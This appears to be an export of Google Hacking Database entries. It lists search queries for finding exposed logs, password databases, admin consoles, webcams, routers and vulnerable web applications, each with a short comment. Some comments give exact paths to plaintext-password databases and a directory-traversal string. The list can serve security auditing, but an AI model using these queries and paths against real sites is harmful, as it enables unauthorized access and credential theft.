"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log	"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log	This file spills a lot of juicy info... in some cases, passwords in the raw dump, but not in any I've found this time around. However, with a computer name, a user name, and various other nuggets of info, this one file seems to sketch the system pretty well.
inurl:report "EVEREST Home Edition "	inurl:report "EVEREST Home Edition "	Well what can be said about this one, I've added it to the DB under Juicy info, however it could have easilly gone under virtually any of the lists as it just give out Soooo much info. I can for instance find out the admin username (not just the adin every user) and also if it password protected and if the password ever expires plus is it a current user account, also do the same for any guest accounts, Ok nice and easy how about the O/S and all the Mapped Drive locations all there along with installed software and even currently running applications and

		processes. Site admins would have to be mad to leave this stuff open, but as we all know from the GHDB Site admins do weird and funny stuff. This one just gives out to much to list, so go have a look and see what you can find.
"powered by minibb" -site:www.minibb.net -intext:1.7f	"powered by minibb" -site:www.minibb.net -intext:1.7f	miniBB is reported vulnerable to remote SQL injection. This issue is due to a failure of the application to properly validate user-supplied input prior to including it in an SQL query. miniBB versions prior to 1.7f are reported prone to this issue.http://www.securityfocus.com/bid/11688
"powered by ducalendar" -site:duware.com	"powered by ducalendar" -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. For Ducalendar it's: /ducalendar/_private/ducalendar.mdb
"Powered by Duclassified" -site:duware.com	"Powered by Duclassified" -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. For Duclassified it's: /duclassified/_private/duclassified.mdb
"Powered by Dudirectory" -site:duware.com	"Powered by Dudirectory" -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. For DuDirectory it's: /dudirectory/_private/dudirectory.mdb
"Powered by Duclassified" -site:duware.com "DUware All Rights reserved"	"Powered by Duclassified" -site:duware.com "DUware All Rights reserved"	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker

		who knows how to type an URL. For Duclassified it's: /duclassified/_private/duclassified.mdb
"powered by duclassmate" -site:duware.com	"powered by duclassmate" -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. For Duclassmate it's: /duclassmate/_private/duclassmate.mdb
intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com	intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. For Dupics rename location to ../_private/dupics.mdb
"powered by dudownload" -site:duware.com	"powered by dudownload" -site:duware.com	Most duware products use Microsoft Access databases in default locations without instructing the users to change them. The plain text admin passwords are just a click away for any attacker who knows how to type an URL. rename ../xxx to ../_private/dudownload.mdb
intitle:"ipcop - main"	intitle:"ipcop - main"	IPCop Firewall is a Linux firewall for home and SOHO users. IPCop can be managed from a simple web interface (which can be found and managed by Google Hackers ;)
intitle:"Smoothwall Express" inurl:cgi-bin "up * days"	intitle:"Smoothwall Express" inurl:cgi-bin "up * days"	smoothwall is a firewall operating system distribution based on Linux. (Not many results for this search at the moment).
filetype:php HAXPLORER "Server Files Browser"	filetype:php HAXPLORER "Server Files Browser"	Haxplorer is a webbased filemanager which enables the user to browse files on the webserver. You can rename, delete, copy, download and upload files. As the script's name says it is mostly installed by hackers
inurl:coranto.cgi intitle:Login	inurl:coranto.cgi intitle:Login (Authorized Users Only)	Coranto is one of the most powerful Content Management System (CMS)

(Authorized Users Only)		available on the market. It is a freeware product written in Perl and it can help the development and streamlining of your site(s). It is written to be a multiuser environment for posting news articles on a web site, it supports multiple browsers, multiple operating systems, produces standard compliant html, has a huge variety of excellent features and is fully extendible via addons. It is free for use on any site, personal or commercial!
filetype:log intext:"Connection Manager2"	filetype:log intext:"ConnectionManager2"	ISDNPM 3.x for OS/2-Dialer log files.These files contain sensitive info like ip addresses, phone numbers of dial in servers, usernames and password hashes - Everything you need to dial in....
intext:"Videoconference Management System" ext:htm	intext:"Videoconference Management System" ext:htm	Tandberg video conferencing appliancesThe webinterface enables you to drop calls and to browse the internal phonebook
ext:txt "Final encryption key"	ext:txt "Final encryption key"	IPSec debug/log data which contains user data and password hashes.Can be used to crack passwords.
filetype:log "See `ipsec --copyright"	filetype:log "See `ipsec --copyright"	BARF log filesMan page:Barf outputs (on standard output) a collection of debugging information (contents of files, selections from logs, etc.) related to the IPSEC encryption/authentication system. It is primarily a convenience for remote debugging, a single command which packages up (and labels) all information that might be relevant to diagnosing a problem in IPSEC.
intitle:"Welcome To Xitami" -site:xitami.com	intitle:"Welcome To Xitami" -site:xitami.com	Default Xitami installationAdditionally every default installation of Xitami webserver has a testscript which provides a lot of information about the server.It can be run by entering the following urlhttp://server/cgialias/testcgi.exe(cgialias = is usually /cgi-bin/)

inurl:testcgi xitami	inurl:testcgi xitami	Testpage / webserver environmentThis is the test cgi for xitami webserver. It shows the webserver's complete environment. Contains very interesting information which can be used a first step into the server.
intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu	intitle:"DocuShare" inurl:"docushare/dsweb/" -faq	some companies use a Xerox Product called DocuShare. The problem with this is by default guest access is enabled and it appears a lot of companies either don't care or don't know.
intext:"Powered By: TotalIndex" intitle:"TotalIndex"	intext:"Powered By: TotalIndex" intitle:"TotalIndex"	TotalIndex v2.0 is an open source script that is designed to replace the simple, and boring default index page of a site which lists the files in an indexed folder. It's not PW protected so an attacker can browse the files and take what they want.
inurl:"GRC.DAT" intext:"password"	inurl:"GRC.DAT" intext:"password"	symantec Norton Anti-Virus Corporate Edition data file containing encrypted passwords.
inurl:php.exe filetype:exe -example.com	inurl:php.exe filetype:exe -example.com	It is possible to read any file remotely on the server with PHP.EXE (assuming a script alias for it is enabled), even across drives. (Note: The GHDB has another search for this file based on directorly listings, try them both)
intitle:"PHP Advanced Transfer" inurl:"login.php"	intitle:"PHP Advanced Transfer" inurl:"login.php"	PHP Advacaned Transfer is GPL'd software that claims to be the "The ultimate PHP download & upload manager". This is a search for the login pages.
intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php)	intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php)	PHP Advacaned Transfer is GPL'd software that claims to be the "The ultimate PHP download & upload manager". This is a search for the main and recently changed files pages.
"Output produced by SysWatch *"	"Output produced by SysWatch *"	sysWatch is a CGI to display current information about your UNIX system. It can display drive partitions, disk or drive usage, as well as resource hogs (running processes) and last but not

		lease it shows what current users are doing online (including sh scripts etc..).
PHPKonsole PHPShell filetype:php -echo	PHPKonsole PHPShell filetype:php -echo	PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver. When you run commands they will run as the webservers UserID. This should work perfectly for managing files, like moving, copying etc. If you're using a linux server, system commands such as ls, mv and cp will be available for you...
"Phorum Admin" "Database Connection" inurl:forum inurl:admin	"Phorum Admin" "Database Connection" inurl:forum inurl:admin	Phorum admin pagesThis either shows Information leakage (path info) or it shows Unprotected Admin pages.
"Warning: mysql_query()" "invalid query"	"Warning: mysql_query()" "invalid query"	MySQL query errors revealing database schema and usernames.
inurl:"/cgi-bin/loadpage.cgi?user_id="	inurl:"/cgi-bin/loadpage.cgi?user_id="	Description:EZshopper is a full-featured shopping cart program. loadpage.cgi of EZshopper allows Directory Traversal http://www.securityfocus.com/bid/2109
filetype:mdb inurl:"news/news"	filetype:mdb inurl:"news/news"	Web Wiz Site News unprotected database holds config and admin information in a microsoft access database in news/news.mdb. This information is almost always unprotected.
intitle:"View Img" inurl:viewimg.php	intitle:"View Img" inurl:viewimg.php	It is reported that the 'viewing.php' script does not properly validate user-supplied input in the 'path' variable. A remote user can submit a specially crafted URL to view a list of files within an arbitrary directory. See http://securitytracker.com/alerts/2004/Nov/1012312.html for more information.
intitle:"Resin Default Home Page"	intitle:"Resin Default Home Page"	Resin provides a fast standalone web server. This search locates those servers based on the title of the default

		page.
filetype:pl -intext:"/usr/bin/perl" inurl:webcal (inurl:webcal | inurl:add | inurl:delete | inurl:config)	filetype:pl -intext:"/usr/bin/perl" inurl:webcal (inurl:webcal | inurl:add | inurl:delete | inurl:config)	WebCal allows you to create and maintain an interactive events calendar or scheduling system on your Web site. The file names explain themselves, but don't abuse the faulty admins.
site:ups.com intitle:"Ups Package tracking" intext:"1Z ### ### ## #### ### #"	site:ups.com intitle:"Ups Package tracking" intext:"1Z ### ### ## #### ### #"	Ever use the UPS Automated Tracking Service?? Wanna see where packages are going? Want to Man-in-the-middle their delivery? Well, then here it is.- Digital Spirit
intitle:"twiki" inurl:"TWikiUsers"	intitle:"twiki" inurl:"TWikiUsers"	TWiki has many security problems, depeding on the version installed. TWiki, is a flexible, powerful, and easy to use enterprise collaboration platform. It is a structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet or on the internet. Web content can be created collaboratively by using just a browser. Developers can create new web applications based on a Plugin API.
+"Powered by Invision Power Board v2.0.0..2"	+"Powered by Invision Power Board v2.0.0..2"	A remote SQL injection vulnerability affects Inivision Power Board. This issue is due to a failure of the application to properly validate user-supplied input prior to using it in an SQL query.http://www.securityfocus.com/bid/11719
ext:gho gho	ext:gho gho	Norton Ghost allows administrators to create hard rive images for lots of purposes including backup, migration, etc. These files contain the hard drive images which can be restored to create an exact duplicate of a hard drive, which could contain just about anything!
ext:pqi pqi -	ext:pqi pqi -database	PQ DriveImage allows administrators

database		to create hard rive images for lots of purposes including backup, migration, etc. These files contain the hard drive images which can be restored to create an exact duplicate of a hard drive, which could contain just about anything!
ext:vmdk vmdk	ext:vmdk vmdk	VMWare allows PC emulation across a variety of platforms. These files are VMWare disk images which essentially contain a copy of an entire PC, which could contain almost anything.
ext:vmx vmx	ext:vmx vmx	VMWare allows PC emulation across a variety of platforms. Theseconfiguration files describe a virtual PC, and reveal information about that PC's hardware settings.
inurl:filezilla.xml -cvs	inurl:filezilla.xml -cvs	filezilla.xml contains Sites,Logins and crypted Passwords of ftp connections made with the open source programm filezilla.
+"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl	+"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl	phpbb is vulnerable to SQL Injection, allowing people to minipulate the query into pulling data (such as passwords). Arbituary EXEC allows an attacker (if they get on to a new line), to execute their own PHP, which can be fatal.
"Copyright (c) Tektronix, Inc." "printer status"	"Copyright (c) Tektronix, Inc." "printer status"	Captain, the Phasers are online :)
intext:"MaiLinX Alert (Notify)" -site:networkprinters.com	intext:"MaiLinX Alert (Notify)" -site:networkprinters.com	Xerox DocuPrint printer models.
inurl:"printer/main.html" intext:"settings"	inurl:"printer/main.html" intext:"settings"	Brother HL Printers.
axis storpoint "file view" inurl:/volumes/	axis storpoint "file view" inurl:/volumes/	The Axis Storpoint device turns a SCSI or ATA box with lots of cdrom players (or writers) into a cd tower which can be browsed through any browser. The

		default admin password combo = root/pass. CD access can be password restricted like in Apache. Axis uses it's own server software. Many vulnerabilities can be found in the security databases like SF.
inurl:"/axs/ax-admin.pl" -script	inurl:"/axs/ax-admin.pl" -script	This system records visits to your site. This admin script allows you to display these records in meaningful graph and database formats.
"Generated by phpSystem"	"Generated by phpSystem"	PhpSystem shows info about unix systems, including: General Info (kernel, cpu, uptime), Connections, Who Is Logged In, Memory, Swap and active mounts.
php-addressbook "This is the addressbook for *" -warning	php-addressbook "This is the addressbook for *" -warning	php-addressbook shows user address information without a password.
intitle:"Multimon UPS status page"	intitle:"Multimon UPS status page"	Multimon provide UPS monitoring services
intitle:"Mail Server CMailServer Webmail" "5.2"	intitle:"Mail Server CMailServer Webmail" "5.2"	CMailServer is a small mail webmail server. Multiple vulnerabilities were found, including buffer overflow, SQL Injection and XXS.http://www.securiteam.com/windowsntfocus/6E00M2KBPS.html
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org	intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org	This search uses desktop.ini to track users with a webserver running on their desktop computers. It can easily be extended to find specific documents.
intitle:"Live NetSnap Cam-Server feed"	intitle:"Live NetSnap Cam-Server feed"	Netsnap Online Cameras
intitle:"V-Gear BEE"	intitle:"V-Gear BEE"	V-Gear Bee Web Cameras
intitle:"AudioReQuest.web.server"	intitle:"AudioReQuest.web.server"	Audio ReQuest home CD/MP3 player. Various information about the configuration of the host and surrounding network can be found out by visiting the main page of this server. Beyond that, you could peruse someones MP3 collection!

filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"	filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"	Dshield is a distributed intrusion detection system. The ipinfo.php script includes a whois lookup form.
ext:cfg radius.cfg	ext:cfg radius.cfg	"Radiator is a highly configurable and flexible Radius server that supports authentication by nearly 60 different types of authentication methods"This search finds configuration files for this server, revealing its behaviour, methods for authenticating users, etc.
intitle:"VitalQIP IP Management System"	intitle:"VitalQIP IP Management System"	The VitalQIP Web Client Interface provides a World Wide Web interface for the VitalQIP IP Management software. The purpose of the VitalQIP Web Client Interface is to allow users to add, modify, and delete IP addresses; create configuration and data files; and generate reports. It is not a fully functional user interface, such as the VitalQIP Windows or VitalQIP UNIX Clients. Certain options, such as infrastructure or policy management, are not provided. The VitalQIP Web Client Interface software is based on HTML and Perl, so your organization can customize it to meet your requirements. Vendors site: http://www.lucent.com/products/solution/0,,CTID+2020-STID+10438-SOID+1456-LOCL+1,00.html
intext:"powered by Web Wiz Journal"	intext:"powered by Web Wiz Journal"	Web Wiz Journal ASP Blog. The MDB database is mostly unprotected and can be downloaded directly. The DB contains administrative acccountsfilename: journal.mdbadmin login: admin.html
intitle:"vhost" intext:"vHost . 2000-2004"	intitle:"vhost" intext:"vHost . 2000-2004"	vHost is a one-step solution for all virtual hosting needs. It enables a Linux/BSD server with single or multiple IP addresses to function as unlimited virtual hosts with HTTP, FTP, SMTP, POP3, IMAP, and other virtual services extentable via modules.

		It comes with both command-line and web-based graphical user interfaces, which give maximum control to a domain's owner, while relieving the system administrator of most routine administration tasks.
intitle:"start.managing.the.device" remote pbx acc	intitle:"start.managing.the.device" remote pbx acc	MCK Communications, Inc.PBXgatewayIIHigh density central site gateway for remote PBX access(MCK Communications is now known as VESO.)
allintext:"Powered by LionMax Software" "WWW File Share"	allintext:"Powered by LionMax Software" "WWW File Share"	WWW File Share Pro is a small HTTP server that can help you share files with your friends. They can download files from your computer or upload files from theirs. Simply specify a directory for downloads and a directory for uploads. All servers can be accessed anonymously
ext:dat bpk.dat	ext:dat bpk.dat	Perfect Keylogger is as the name says a keylogger :)This dork finds the corresponding datafiles which can be read with the free downloadable lite version.
intitle:"iVISTA.Main.Page"	intitle:"iVISTA.Main.Page"	And again another webcam search. MOst of these cams seem to be security cams
inurl:2506/jana-admin	inurl:2506/jana-admin	The JanaServer 2 is amongst other things a proxy server, that makes it possible for LAN members, everyone or a group as a part of the LAN, to access the internet via a Modem, ISDN or DSL connection. For this the program must be installed on the computer, that can access the internet by an installed modem, ISDN or a DSL adapter.
intitle:"Spam Firewall" inurl:"8000/cgi-bin/index.cgi"	intitle:"Spam Firewall" inurl:"8000/cgi-bin/index.cgi"	The Barracuda Spam Firewall is an integrated hardware and software solution for complete protection of your email server. It provides a powerful, easy to use, and affordable solution to eliminating spam and virus from your organization.

inurl:ds.py	inurl:ds.py	Affordable Web-based document and content management application lets businesses of every size rapidly deploy a world-class Enterprise Content Management (ECM) solution to help reduce costs, optimize information flow, and reduce risk
inurl:"1220/parse_xml.cgi?"	inurl:"1220/parse_xml.cgi?"	Quicktime streaming server is uhhhhh.....well it's a streaming server and it can be managed via http. No need to say more. Darwin Streaming Server is the opensource version (for *NUX os's).Some are pass protected, others not.
intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm	intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm	see and control JVC webcameras, you can move the camera, zoom... change the settings, etc....
intitle:"WebLogic Server" intitle:"Console Login" inurl:console	intitle:"WebLogic Server" intitle:"Console Login" inurl:console	BEA WebLogic Server 8.1 provides an industrial-strength application infrastructure for developing, integrating, securing, and managing distributed service-oriented applications. By simplifying and unifying the enterprise infrastructure, IT organizations can now deliver greater value in less time, at reduced cost to the overall business.
ext:conf inurl:rsyncd.conf -cvs -man	ext:conf inurl:rsyncd.conf -cvs -man	rsync is an open source utility that provides fast incremental file transfer.rsync can also talk to "rsync servers" which can provide anonymous or authenticated rsync.The configuration files contain data about peers and paths
inurl:"phpOracleAdmin/php" -download -cvs	inurl:"phpOracleAdmin/php" -download -cvs	phpOracleAdmin is intended to be a webbased Oracle Object Manager.In many points alike phpMyAdmin, it should offer more comfort and possibilities. Interestingly these managers are not password protected.
inurl:1810 "Oracle	inurl:1810 "Oracle Enterprise	Enterprise Manager 10g Grid Control

Enterprise Manager"	Manager"	provides a single tool that can monitor and manage not only every Oracle software element in your grid, but also Web applications, hosts, and the network in between. Grid Control is also extensible via an SDK so customers can use it to monitor additional components that are not supported out-of-the box.
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /")	"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /")	Invision Power File Manager is a popular file management script, written in the popular PHP Scripting Language. It is compatiable with all forms of Unix and Windows and allows the user to control their files via any modern browser.
ext:php intext:"Powered by phpNewMan Version"	ext:php intext:"Powered by phpNewMan Version"	PHP News Manager is a multi-platform compatible solution for managing websites and multi-user access. Features weekly poll management, gallery management, partners list management, public news support, and a lot more. PHP News Manager is vulnerable to a directory traversal problem. path/to/news/browse.php?clang=../../../../../../file/i/want
intitle:"Cayman-DSL.home"	intitle:"Cayman-DSL.home"	Cayman DSL modems. Many Cayman units have a weakness where even if remote administration is disabled, some older firmwares will still allow validation if proper login credentials are supplied. In many cases, simply hitting enter will be enough to authenticate. It's worth noting, many of the vulnerable devices also support telnet right out of the box, as opposed to the linksys models which require a firmware patch.
intitle:"Index of /CFIDE/" administrator	intitle:"Index of /CFIDE/" administrator	With ColdFusion, you can build and deploy powerful web applications and web services with far less training time and fewer lines of code than ASP, PHP, and JSP.The search that pulls up directory listings we probably shouldn't

		be seeing.. entering the 'administrator' directory brings up a ColdFusion login screen
intitle:"Athens Authentication Point"	intitle:"Athens Authentication Point"	Athens is an Access Management system for controlling access to web based subscription services. It offers: * secure single username access to multiple web-based access controlled services * devolved administration facilities at organisation level * remote access user accounts * encrypted account bulk upload facilities * scalable services with 3 million accounts * replication facilities at several separate physical locations, offering a resilient authentication service
ext:ini eudora.ini	ext:ini eudora.ini	Well, this is the configuration file for Eudora...may contain sensitive information like pop servers, logins and encypted passwords sometimes.
inurl:preferences.ini "[emule]"	inurl:preferences.ini "[emule]"	This finds the emule configuration file which contains some general and proxy information.Sometimes proxy user and password are stored.
intitle:index.of abyss.conf	intitle:index.of abyss.conf	These directories reveal the configuration file of the abyss webserver. These files can contain passwords.
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"	intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"	The bitboard2 is a board that need no database to work. So it is useful for webmaster that have no access to a sql database. The password file can be retrieve from/admin/data_passwd.dat
intitle:"welcome.to.squeezebox"	intitle:"welcome.to.squeezebox"	squeezebox is the easiest way for music lovers to enjoy high-quality playback of their whole digital music collection. Stream music from your computer to anywhere in your home. Works with iTunes and provides a powerful web interface for control from any computer on your network.This is neat, on top of giving out all sorts of enumeration

		information, it also allows one to paruse the music collection on the box, as well as listen if you install the aplet. Way cool.
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"	allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"	Frontpage extensions for Unix ? So be it..
filetype:cnf inurl:_vti_pvt access.cnf	filetype:cnf inurl:_vti_pvt access.cnf	The access.cnf file is a "weconfigfile" (webconfig file) used by Frontpage Extentions for Unix. The install script called change_server.sh processes them. These files leak information about the realm name and the full path on the server for it.
inurl:"install/install.php"	inurl:"install/install.php"	This searches for the install.php file. Most results will be a Bulletin board like Phpbb etc.This will let an attacker install the forum again. There is an exploit available on the Net which lets you see DB info.
intitle:"index of" inurl:ftp (pub | incoming)	intitle:"index of" inurl:ftp (pub | incoming)	Adding "inurl:ftp (pub | incoming)" to the "index.of" searches helps locating ftp websites. This query can easily be narrowed further with additional keywords.
filetype:blt "buddylist"	filetype:blt "buddylist"	AIM buddylists.
intitle:"index.of" .diz .nfo last modified	intitle:"index.of" .diz .nfo last modified	File_id.diz is a description file uploaders use to describe packages uploaded to FTP sites. Although rooted in legitimacy, it is used largely by software piracy groups to describe their ill gotten goods. Systems administrators finding file_id.diz in directory listings on their servers may discover their boxes have been hacked and are being used as a distroubtion site for pirated software. .nfo's often contain info on which piracy group the files have passed through on their way to their final resting place. This helps weed out false positives.
intitle:"Sipura.SP	intitle:"Sipura.SPA.Configuration" -	Query returns configuration pages for

A.Configuration" -.pdf	.pdf	online Voice over IP devices. Discloses an obscene amount of information about the target, including most all routing information and access to control user's telephone system.
intitle:"Azureus : Java BitTorrent Client Tracker"	intitle:"Azureus : Java BitTorrent Client Tracker"	This query shows machines using the Azureus BitTorrent client's built-in tracker - the pages are quite simple in the information they give out, simply a list of active torrents.This information may be useful for people wanting to find active BitTorrent trackers for downloading .torrent files from, or for people wanting to find these trackers to shut them down :)
intitle:"BNBT Tracker Info"	intitle:"BNBT Tracker Info"	This query shows pages which summarise activity on BNBT-powered BitTorrent trackers - including all the torrents currently being "tracked", the BNBT software version, links to user-lists and 'admin' pages, etc.This is useful to people who want to find active BitTorrent trackers for downloading - including ones which aren't 'public'. It is also useful for people wanting to gain some clues into a tracker's/site's setup. Some versions of BNBT are also vulnerable to a DOS attack. People targetting BitTorrent trackers because of the questionable legality of their general usage may also find this query useful!
intitle:"PHPBTTracker Statistics" | intitle:"PHPBT Tracker Statistics"	intitle:"PHPBTTracker Statistics" | intitle:"PHPBT Tracker Statistics"	This query shows pages which summarise activity on PHPBT-powered BitTorrent trackers - all the torrents currently being "tracked".This is useful to people who want to find active BitTorrent trackers for downloading - including ones which aren't 'public'. It is also useful for people wanting to gain some clues into a tracker's/site's setup. People targetting BitTorrent trackers because of the questionable legality of their general usage may also find this query

		useful!Often, the URL involved can be changed to access the configuration / installation / deletion script.. which are obviously *not* intended for public access, even if the statistics page is.
"Powered by WordPress" -html filetype:php -demo -wordpress.org -bugtraq	"Powered by WordPress" -html filetype:php -demo -wordpress.org -bugtraq	Query: "Powered by WordPress" -html filetype:php -demo -wordpress.org -bugtraqBackground: WordPress is a blogging software which is vulnerable to a few SQL injection queries.http://securityfocus.com/bid/12066/exploit/
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c	intitle:upload inurl:upload intext:upload -forum -shop -support -w3c	The search reveals server upload portals.An attacker can use server space for his own benefit.
intitle:"SpeedStream * Management Interface"	intitle:"SpeedStream * Management Interface"	a lot of Speed stream routers :)
intitle:"HFS /" +"HttpFileServer"	intitle:"HFS /" +"HttpFileServer"	"The HttpFileServer is a Java based mechanism for providing web access to a set of files on a server. This is very similar to Apache Directory Indexing but provides the ability to upload files as well." http://johnny.ihackstuff.com/index.php?name=PNphpBB2&file=viewtopic&t=1516
inurl:"next_file=main_fs.htm" inurl:img inurl:image.cgi	inurl:"next_file=main_fs.htm" inurl:img inurl:image.cgi	Linksys Wireless-G web cams.
"There are no Administrators Accounts" inurl:admin.php -mysql_fetch_row	"There are no Administrators Accounts" inurl:admin.php -mysql_fetch_row	This is a more specific search for the vulnerable PhpNuke index already seen on this website.PhpNuke asks you to set up an admin account when it is first installed. This search is a list of people who never set up that account! It will take you directly to the administrator registration of a vulnerable server. The -mysql_fetch_row will remove listings where SQL is simply broken.
filetype:ctt Contact	filetype:ctt Contact	This is for MSN Contact lists...

Peoples MSN contact lists	filetype:ctt "msn"	This will give msn contact lists .. modify the "msn" to what ever you feel is messenger related
inurl:servlet/webacc	inurl:servlet/webacc	I was playing around on the net when I found a small problem with Novell's WebAcces. With User.lang you can give in you're language as parameter I tried some different stuff there and when I tried so that the URL would be hxxp://www.notsohappyserver.com/servlet/webacc?User.Lang="> this link appeared I clicked it and so I found unprotected dirs.In hxxp://www.notsohappyserver.com/com/novell/webaccess/ is a file called WebAccessUninstall.ini and this file contains info like servernames installationpaths and servers context
"Web File Browser" "Use regular expression"	"Web File Browser" "Use regular expression"	This will ask google to search for a php script used to manage files on a server. The script "Web File Browser" enables users to change files on the server. The script comes un-protected, which means that anyone who knows the exact path of the php file can have admin access to files on that server.
intext:gmail invite intext:http://gmail.google.com/gmail/a	intext:gmail invite intext:http://gmail.google.com/gmail/a	This is a dork I did today. At first, I wanted to find out the formula for making one, but ... It got boring, so I just made a dork that finds invites. If you want to get specific, try adding "+blog", "+livejournal", or , "+forum".
filetype:cgi transcoder.cgi	filetype:cgi transcoder.cgi	Digital Video Recorder by SnapStream. It is possible on misconfigured machines to stream video off these devices.
intitle:"Setup Home" "You will need * log in before * * change * settings"	intitle:"Setup Home" "You will need * log in before * * change * settings"	This should reveal Belkin routers. Interestingly, Belkin routers by default have remote administration on, and act as a webserver for administration. Also by default, their password is blank (and the login page helpfuly informs the attacker of this).Once he's in, there's all kinds of annoying stuff he could get

		into, and it could also be used more blackhackishly to disable security.
"Index of" rar r01 nfo Modified 2004	"Index of" rar r01 nfo Modified 2004	New Warez Directory Lists
intitle:"Network Print Server" filetype:shtm (inurl:u_printjobs | inurl:u_server | inurl:a_server | inurl:u_generalhelp | u_printjobs)	intitle:"Network Print Server" filetype:shtm (inurl:u_printjobs | inurl:u_server | inurl:a_server | inurl:u_generalhelp | u_printjobs)	Axis Network Print Server devices. This search has all the possible urls (more than strictly needed), but those are added in case Google decides to index them in the future.
intitle:"Network Print Server" intext:"http://www.axis.com" filetype:shtm	intitle:"Network Print Server" intext:"http://www.axis.com" filetype:shtm	Axis Network Print Server devices (a better shorter search).
"pcANYWHERE EXPRESS Java Client"	"pcANYWHERE EXPRESS Java Client"	This search will reveal the java script program that allows someone to access PC Anywhere from, well, anywhere! This should primarily be considered as a frontdoor, as most PC Anywhere servers are password protected. Still this is extremely dangerous to have exposed to the web.
inurl:"Activex/default.htm" "Demo"	inurl:"Activex/default.htm" "Demo"	This search will reveal the active X plugin page that allows someone to access PC Anywhere from, well, anywhere! This should primarily be considered as a frontdoor, as most PC Anywhere servers are password protected. Still this is extremely dangerous to have exposed to the web.
intitle:"FTP root at"	intitle:"FTP root at"	This dork will return some FTP root directories. The string can be made more specific by adding additional keywords like password.
intitle:"VNC viewer for Java"	intitle:"VNC viewer for Java"	VNC (Virtual Network Computing) allows a pc to be controlled remotely over the Internet. These are the password protected but still shouldn't be allowed to be indexed by Google by accident.

filetype:torrent torrent	filetype:torrent torrent	Torrent files .. don't expect to find spectacular stuff with this kind of string, this just to shows you can use Google for all kinds of filetypes, not just pdf or html..
inurl:"631/admin" (inurl:"op=*") | (intitle:CUPS)	inurl:"631/admin" (inurl:"op=*") | (intitle:CUPS)	Administration pages for CUPS, The Common UNIX Printing System. Most are password protected.
PHPhotoalbum Upload	intitle:"PHPhotoalbum - Upload" | inurl:"PHPhotoalbum/upload"	Homepage: http://www.stoverud.com/PHPhotoalbum/PHPhotoalbum is a picturegallery script. You can upload pictures directly from your webbrowser. The script generates thumbnails on the fly. Users can comment each picture. View statistics about the pictures. TopXX list. Admin user can delete pictures, comments and albums.
PHPhotoalbum Statistics	inurl:PHPhotoalbum/statistics intitle:"PHPhotoalbum - Statistics"	PHPhotoalbum is a picturegallery script. You can upload pictures directly from your webbrowser. The script generates thumbnails on the fly. Users can comment each picture. View statistics about the pictures. TopXX list. Admin user can delete pictures, comments and albums.
PhotoPost PHP Upload	-Login inurl:photopost/uploadphoto.php	PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum.Over 3,500 web sites are powered by PhotoPost today. These customers trusted our software to simplify their lives as webmasters, and to meet the needs of their users.
uploadpics.php?did= -forumintext:Generated.by.phpix.1.0? inurl:$mode=album	intext:Generated.by.phpix.1.0? inurl:$mode=album	Product: PHPix Version: 1.0Vuln: Directory traversalPHPix is a Web-based photo album viewer written in PHP. It features automatic generation of thumbnails and different resolution files for viewing on the fly. Synnergy

		Labs has found a flaw within PHPix that allows a user to successfully traverse the file system on a remote host, allowing arbitrary files/folders to be read. http://www.securiteam.com/unixfocus/6G00K0K04K.html
XAMPP "inurl:xampp/index"	XAMPP "inurl:xampp/index"	XAMPP is an easy to install Apache distribution containing MySQL, PHP and Perl. XAMPP is really very easy to install and to use - just download, extract and start. At the moment there are three XAMPP distributions.-allows you to write emails (mercury Mail)-some phpmyadmin are unprotected-security details of the server-maybe some more things ;-)
intitle:"Browser Launch Page"	intitle:"Browser Launch Page"	An ActiveX based webcam - so use MS IE
intext:"Mail admins login here to administrate your domain."	intext:"Mail admins login here to administrate your domain."	Another way to locate Postfix admin logon pages.
inurl:citrix/metaframexp/default/login.asp? ClientDetection=On	inurl:citrix/metaframexp/default/login.asp? ClientDetection=On	Citrix (http://citrix.com) is a web application that allows remote access via a client for companies, institutions, and government agencies to "published" folders, files, drives, and applications on the server and often the attached network. There is a XSS vulnerability in a widely used version of their Web Interface. As reported on Securiteam.com:http://www.securiteam.com/securitynews/6X0020K8VW.html A simple test is inlcluded in the advisory.
ext:txt inurl:dxdiag	ext:txt inurl:dxdiag	This will find text dumps of the DirectX Diag utility. It gives an outline of the hardware of the computer, and goes into quite a bit of detail listing driver versions and such. I can't think of any serious security implacations of this data, but I'll leave it to your imagination.

